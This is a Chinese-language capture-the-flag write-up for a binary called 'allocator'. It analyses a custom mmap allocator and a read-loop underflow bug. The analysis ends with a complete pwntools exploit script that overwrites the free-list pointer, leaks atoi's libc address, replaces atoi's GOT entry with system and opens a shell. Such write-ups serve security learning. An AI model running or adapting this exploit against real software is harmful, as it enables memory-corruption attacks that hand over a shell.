保护看起来还算比较友好。
看程序
首先是初始化
在0x13140000申请了一块空间,地址放在bss,下面是这个空间的大小0x1000,再下面是一个不知道啥0.
然后显然进入一个循环。
显然只能循环10次。
进去直接就是一个输入,然后对输入进行一个处理。
首先要求我们的第五个是(
倒数第一个是;
倒数第二个是)
然后括号中间的拿出来跑一下atoi,然后返回回去。
下面这个函数对我们的前四个字节进行了算法。
这个算法呢把我们的前四个字节都拆成了二进制的样子,而且要注意是反过来的。
然后下面就是我们平常说的增删改查。
所以我们的输入格式应该是举个例子 gain(0);
然后我们去看四个功能。
gain
可以看到一个输入大小之后取地址,把地址放到chunk的数组里面,也就是bss里面。
然后一个函数是一个输入函数,根据我们的chunk地址跟输入的size大小。
取地址这个函数,首先对size进行一个处理,跟16字节对齐,然后额外加一个16字节。
再进一个函数。
看一下mmap_16看一下那个地方放着的能不能用,不能的话进入一个循环找一下有没有能用的。
输入函数看起来平平无奇。
edit
就是平平无奇编辑函数。
show
平平无奇输出函数。
free
清空指针,且有一个处理函数
把现在free的chunk的第二个QWORD写上mmap_16,然后mmap_16写上现在free的chunk地址。
所以其实就是把free了的每个chunk的第二个QWORD构成了一个单链表,然后头在mmap_16.
所以整个逻辑就很清晰了,我们就是在0x13140000中自己伪造了,或者说构建了一个chunk的申请释放的一个过程。
总结来说,申请的时候首先去free的链表中查找,看有没有大小一摸一样的,有就拿过来。
没有的话就从最下面再开一块。
free的时候就是直接插进链表中。
那么问题来了,漏洞在哪?
我们的想法是首先RELRO没有开,那么我们其实可以去控制got表,然后假如我们通过溢出啊啥的控制一个free链表中的指针,那么我们就可以加以利用。
因为没有开pie,那么如果我们可以控制那个指针,我们初步想法可以直接控制got表,然后泄露地址输出,然后再劫持它。
但是因为我们的每次输入都会有回车,直接去控制got表的话无法直接泄露,所以我们就直接控制bss上面的chunk的地址,写上atoi的got表,通过show跟edit函数对他进行一个劫持。
那么问题又来了,怎么就能劫持一个free链表的指针?
经过仔细分析,我们把目光转到那个可以输入的函数。
在用read读取的时候,假如我们溢出了,我们读的时候溢出到了0x13141000之外,那么read会因为读入的地址未定义可能不允许我们读取而返回-1,这个时候已经能读多少读了多少,但是仍然算没读,返回-1,进行重读。
但是我们发现返回-1之后,我们读的地址就会-1,那么会这样循环一直到我们这个数据正好都读进去,那么我们会发现,我们可以无线的上溢,那么就可以去覆盖free的指针了。
调一下看一下。
首先是第一次read
失败返回-1
但是这个时候其实已经输入了。
然后不停循环,直到能完全输入。
exp
from pwn import*
r = process("./allocator")
context.log_level = "debug"
elf = ELF("./allocator")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
def gain(index, size, content):
r.sendlineafter(">> ", "gain" + "(" + str(index) + ");")
r.sendlineafter("10100110010111101001011011001110: ", str(size))
r.sendafter("00101110011101101010011000101110011101101111011011000110: ", content)
def edit(index, content):
r.sendlineafter(">> ", "edit" + "(" + str(index) + ");")
r.sendafter("00101110011101101010011000101110011101101111011011000110: ", content)
def show(index):
r.sendlineafter(">> ", "show" + "(" + str(index) + ");")
def free(index):
r.sendlineafter(">> ", "free" + "(" + str(index) + ");")
atoi_got = elf.got['atoi']
gain(0, 0xe00, 'a' * 0xe00) # 0
gain(1, 0xb0, 'a' * 0xb0) # 1
free(0)
free(1)
gain(4, 0x1e8, p64(0x4043a0) + 'c' * 0x1df + "\n") # 4
gdb.attach(r)
pause()
gain(5, 0xb0, 'a' * 0xb0)
gain(6, 0x131410c0, p64(0x131410e0) + p64(0) + p64(0) + p64(0) + p64(0x4040b8) + "\n")
show(2)
libc_base = u64(r.recv(6) + '\x00\x00') - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
edit(2, p64(system_addr) + p64(0x401186))
r.sendlineafter(">>", "gain(/bin/sh);")
r.interactive()
r.interactive()